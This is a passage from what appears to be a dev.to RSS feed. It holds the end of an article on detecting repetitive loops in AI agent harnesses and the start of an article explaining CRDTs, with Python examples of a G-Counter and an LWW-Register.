        &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;signature_history&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sig&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recent_calls&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sig&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="c1"&gt;# Check for oscillating n-gram cycles (e.g., A -&amp;gt; B -&amp;gt; A -&amp;gt; B)&lt;/span&gt;
        &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;signature_history&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;max_cycle_len&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;recent_k&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;signature_history&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
                &lt;span class="n"&gt;prior_k&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;signature_history&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
                &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;recent_k&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;prior_k&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"Circuit Breaker Tripped: Detected repetitive cycle of length {k} in agent actions."&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"OK"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When &lt;code&gt;record_and_evaluate&lt;/code&gt; returns &lt;code&gt;False&lt;/code&gt;, your harness should not let the agent continue blind execution.&lt;/p&gt;

&lt;p&gt;Instead, perform an &lt;strong&gt;out-of-band pivot&lt;/strong&gt;:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Roll back the workspace (using &lt;code&gt;git checkout&lt;/code&gt; or file snapshots) to the last known healthy state before the loop started.&lt;/li&gt;
&lt;li&gt;Strip the repeating cycle from the message history.&lt;/li&gt;
&lt;li&gt;Inject an out-of-band supervisor prompt: &lt;code&gt;"System intervention: You were caught in a repetitive loop attempting action X. The environment has been rolled back. Action X is now locked. Identify a completely different diagnostic path."&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Practical Takeaways for Agent Builders
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;The context window is memory, not a scratchpad.&lt;/strong&gt; Everything you feed into it shapes the model autoregressive sampling distribution. Treat context hygiene with the same discipline as database integrity.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Never allow an agent to grade its own completion.&lt;/strong&gt; Autonomous agents will cheerfully report success when tests are red if they convince themselves the test was wrong. Verification must be enforced by deterministic external tools (exit code 0, all tests pass).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prune verbosity before it reaches the model.&lt;/strong&gt; Raw build logs and multi-megabyte API responses do not give the model more intelligence. They dilute attention heads and accelerate context poisoning.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Enforce hard stopping criteria.&lt;/strong&gt; A maximum turn limit is a fallback of last resort. Use tool signature hashing, cycle detection, and progress checks to halt runaway agents in 3 turns rather than 30.&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>ai</category>
      <category>machinelearning</category>
      <category>programming</category>
      <category>architecture</category>
    </item>
    <item>
      <title>How CRDTs Actually Work: Semilattices, Op-Based vs State-Based Replication, and Why Deleting Text Requires Tombstones</title>
      <dc:creator>Syed Anzar</dc:creator>
      <pubDate>Sat, 14 Nov 2026 07:14:41 +0000</pubDate>
      <link>https://dev.to/syed_anzar/how-crdts-actually-work-semilattices-op-based-vs-state-based-replication-and-why-deleting-text-434j</link>
      <guid>https://dev.to/syed_anzar/how-crdts-actually-work-semilattices-op-based-vs-state-based-replication-and-why-deleting-text-434j</guid>
      <description>&lt;p&gt;Every developer building a real-time collaborative tool or an offline-first app eventually runs into the sync wall. &lt;/p&gt;

&lt;p&gt;The traditional solution for collaborative editing was Operational Transformation (OT), the engine behind Google Docs. But OT has a strict operational constraint: it requires a central server to establish an authoritative timeline and rewrite concurrent operations against each other. If two mobile devices want to edit a document peer-to-peer over local Wi-Fi, or if a user goes into an airplane cabin for four hours, OT falls apart without a central coordinator to arbitrate ordering.&lt;/p&gt;

&lt;p&gt;Conflict-free Replicated Data Types (CRDTs) take a completely different mathematical route. Instead of maintaining an ordering queue on a central server, CRDTs structure data using abstract algebra so that distributed replicas can accept concurrent edits in isolation and merge them in any order without locks, round-trips, or human intervention.&lt;/p&gt;

&lt;p&gt;Here is what is actually happening underneath the hood of libraries like Automerge, Yjs, and modern local-first databases.&lt;/p&gt;




&lt;h3&gt;
  
  
  The Math: Why Join-Semilattices Guarantee Convergence
&lt;/h3&gt;

&lt;p&gt;In standard distributed databases, reaching agreement requires consensus algorithms like Paxos or Raft. Replicas elect a leader, serialize writes via a log, and block until a quorum acknowledges the entry. &lt;/p&gt;

&lt;p&gt;CRDTs achieve Strong Eventual Consistency (SEC) without leader election or two-phase commits. The formal definition of SEC states: any two replicas that have received the same set of updates will be in the identical state, regardless of the order in which updates arrived.&lt;/p&gt;

&lt;p&gt;This guarantee rests on a mathematical structure called a &lt;strong&gt;bounded join-semilattice&lt;/strong&gt;. &lt;/p&gt;

&lt;p&gt;A semilattice is a partially ordered set $(S, \le)$ equipped with a binary operation called the &lt;strong&gt;join&lt;/strong&gt; (denoted as $\sqcup$, or least upper bound). For a data structure to qualify as a state-based CRDT (CvRDT), its merge function must satisfy three algebraic properties:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Commutative&lt;/strong&gt;: $x \sqcup y = y \sqcup x$. The order in which replica A and replica B exchange updates does not matter.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Associative&lt;/strong&gt;: $(x \sqcup y) \sqcup z = x \sqcup (y \sqcup z)$. Batching updates or merging them across intermediate hops yields the exact same state.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Idempotent&lt;/strong&gt;: $x \sqcup x = x$. Receiving duplicate network packets or re-running a synchronization step has zero side effects.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Furthermore, updates must be &lt;strong&gt;inflationary&lt;/strong&gt;: every local state change must move monotonically forward in the partial order ($s \le s \sqcup u$). Because state only moves upward in the lattice, replicas cannot diverge into unmergeable branches. When two nodes exchange states, taking the join produces the unique least upper bound that subsumes both states.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight dot"&gt;&lt;code&gt;       &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;State&lt;/span&gt; &lt;span class="no"&gt;A&lt;/span&gt; ⊔ &lt;span class="nc"&gt;State&lt;/span&gt; &lt;span class="no"&gt;B&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;  &lt;span class="o"&gt;&amp;lt;--&lt;/span&gt; &lt;span class="nc"&gt;Least&lt;/span&gt; &lt;span class="nc"&gt;Upper&lt;/span&gt; &lt;span class="nc"&gt;Bound&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Merged&lt;/span&gt; &lt;span class="nc"&gt;State&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
             &lt;span class="o"&gt;/&lt;/span&gt;      \
            &lt;span class="o"&gt;/&lt;/span&gt;        \
      &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;State&lt;/span&gt; &lt;span class="no"&gt;A&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;State&lt;/span&gt; &lt;span class="no"&gt;B&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
            \        &lt;span class="o"&gt;/&lt;/span&gt;
             \      &lt;span class="o"&gt;/&lt;/span&gt;
          &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;Initial&lt;/span&gt; &lt;span class="nc"&gt;State&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  CvRDT vs CmRDT: State vs Operation Replication
&lt;/h3&gt;

&lt;p&gt;There are two classical ways to implement a CRDT, though modern systems frequently blend them.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;+------------------+-----------------------------+-----------------------------+
| Dimension        | State-based (CvRDT)         | Operation-based (CmRDT)     |
+------------------+-----------------------------+-----------------------------+
| What is sent     | Full replica state (or diff)| Small mutation operations   |
| Network layer    | Best-effort (unreliable OK) | Causal broadcast required   |
| Delivery order   | Arbitrary (packet reorder OK)| Must preserve causality     |
| Idempotency      | Built-in (x ⊔ x = x)        | Must be handled by receiver |
| Bandwidth cost   | Grows with total state size | Small per-operation payloads|
+------------------+-----------------------------+-----------------------------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  1. Convergent Replicated Data Types (CvRDT)
&lt;/h4&gt;

&lt;p&gt;In a pure state-based CRDT, local mutations alter only the local replica. To synchronize, replica A serializes its entire internal state and transmits it over the network to replica B. Replica B executes &lt;code&gt;merge(stateA, stateB)&lt;/code&gt; to compute the join.&lt;/p&gt;

&lt;p&gt;Because the join operation is commutative, associative, and idempotent, the transport layer can drop packets, duplicate packets, or reorder packets without corrupting state. The obvious failure mode is bandwidth: as your document grows to megabytes, transmitting the full state on every keystroke becomes unusable.&lt;/p&gt;

&lt;h4&gt;
  
  
  2. Commutative Replicated Data Types (CmRDT)
&lt;/h4&gt;

&lt;p&gt;Operation-based CRDTs separate mutation into two phases: a local generator and a remote effector. When you type a character, the generator inspects local state and emits a compact operation packet (for example: &lt;code&gt;Insert(char='x', id=12, after=11)&lt;/code&gt;). This operation is broadcast to all peers.&lt;/p&gt;

&lt;p&gt;CmRDTs save massive bandwidth because payloads are tiny. However, they shift the burden to the transport layer. The communication channel must guarantee &lt;strong&gt;causal-order delivery&lt;/strong&gt; (usually enforced using vector clocks) and ensure that non-idempotent operations are never delivered twice.&lt;/p&gt;

&lt;h4&gt;
  
  
  3. The Modern Solution: Delta-State CRDTs
&lt;/h4&gt;

&lt;p&gt;To get the network robustness of CvRDTs without the bandwidth penalty, libraries rely on delta-state CRDTs. Instead of shipping the entire state or assuming a flawless causal network, nodes transmit "deltas" (state changes accumulated since the last known synchronization boundary). Because the delta is itself an element of the join-semilattice, it merges using the exact same idempotent join operation.&lt;/p&gt;




&lt;h3&gt;
  
  
  Building Blocks in Code: Counters and LWW Registers
&lt;/h3&gt;

&lt;p&gt;To see the math in action, look at how basic primitive types work.&lt;/p&gt;

&lt;h4&gt;
  
  
  The Grow-Only Counter (G-Counter)
&lt;/h4&gt;

&lt;p&gt;A simple integer counter cannot be merged with &lt;code&gt;max(a, b)&lt;/code&gt; if both nodes incremented concurrently, nor can it be merged with &lt;code&gt;a + b&lt;/code&gt; without double-counting past increments. &lt;/p&gt;

&lt;p&gt;The solution is an array where each node updates only its own assigned slot. The merge function takes the element-wise maximum across all nodes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;GCounter&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;node_id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;node_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;node_id&lt;/span&gt;
        &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;inc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;node_id&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;node_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;value&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;values&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;merge&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;remote&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"GCounter"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;all_keys&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="kt"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;remote&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;all_keys&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;remote&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To support decrements, you compose two G-Counters into a &lt;strong&gt;PN-Counter&lt;/strong&gt; (Positive-Negative Counter), where the total value is &lt;code&gt;P.value() - N.value()&lt;/code&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  The Last-Writer-Wins Register (LWW-Register)
&lt;/h4&gt;

&lt;p&gt;For scalar fields like a user profile name, you cannot easily combine strings mathematically. Systems fall back to an LWW-Register, storing &lt;code&gt;(value, timestamp, client_id)&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;LWWRegister&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;client_id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client_id&lt;/span&gt;
        &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;
        &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;timestamp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time_ns&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;new_value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;new_value&lt;/span&gt;
        &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;timestamp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time_ns&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;merge&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;remote&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"LWWRegister"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="c1"&gt;# Tie-breaker using client_id if timestamps match exactly&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;remote&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;remote&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;remote&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;
            &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;timestamp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;remote&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;timestamp&lt;/span&gt;
            &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;remote&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client_id&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notice the catch: physical wall-clock timestamps drift across devices. If a client clock is skewed 10 minutes into the future, its updates will silently overwrite newer writes from synchronized peers until other clocks catch up.&lt;/p&gt;




&lt;h3&gt;
  
  
  The Hard Part: Sequence CRDTs and Text Editing
&lt;/h3&gt;

&lt;p&gt;Counters and key-value maps are straightforward because keys are independent. Text editing is where CRDT implementations get complicated.&lt;/p&gt;

&lt;p&gt;In a text document, characters are ordered relative to each other. If user A has &lt;code&gt;"hello"&lt;/code&gt; and inserts &lt;code&gt;"!"&lt;/code&gt; at index 5, while user B concurrently deletes &lt;code&gt;'h'&lt;/code&gt; at index 0, raw array indexes break immediately. If you apply user A's insert after user B's delete, the exclamation mark lands in the wrong spot because the string shifted left.&lt;/p&gt;

&lt;h4&gt;
  
  
  The Replicated Growable Array (RGA)
&lt;/h4&gt;

